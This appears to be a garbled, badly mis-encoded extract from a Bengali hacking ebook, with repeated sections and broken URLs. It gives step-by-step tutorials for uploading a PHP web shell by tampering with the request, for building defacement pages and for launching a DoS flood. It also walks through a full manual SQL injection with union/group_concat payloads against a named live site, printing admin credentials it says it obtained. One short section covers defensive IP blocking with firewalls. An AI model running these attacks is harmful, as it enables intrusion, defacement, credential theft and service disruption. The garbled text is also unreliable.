৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 43: Hacking Bangla eBook

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

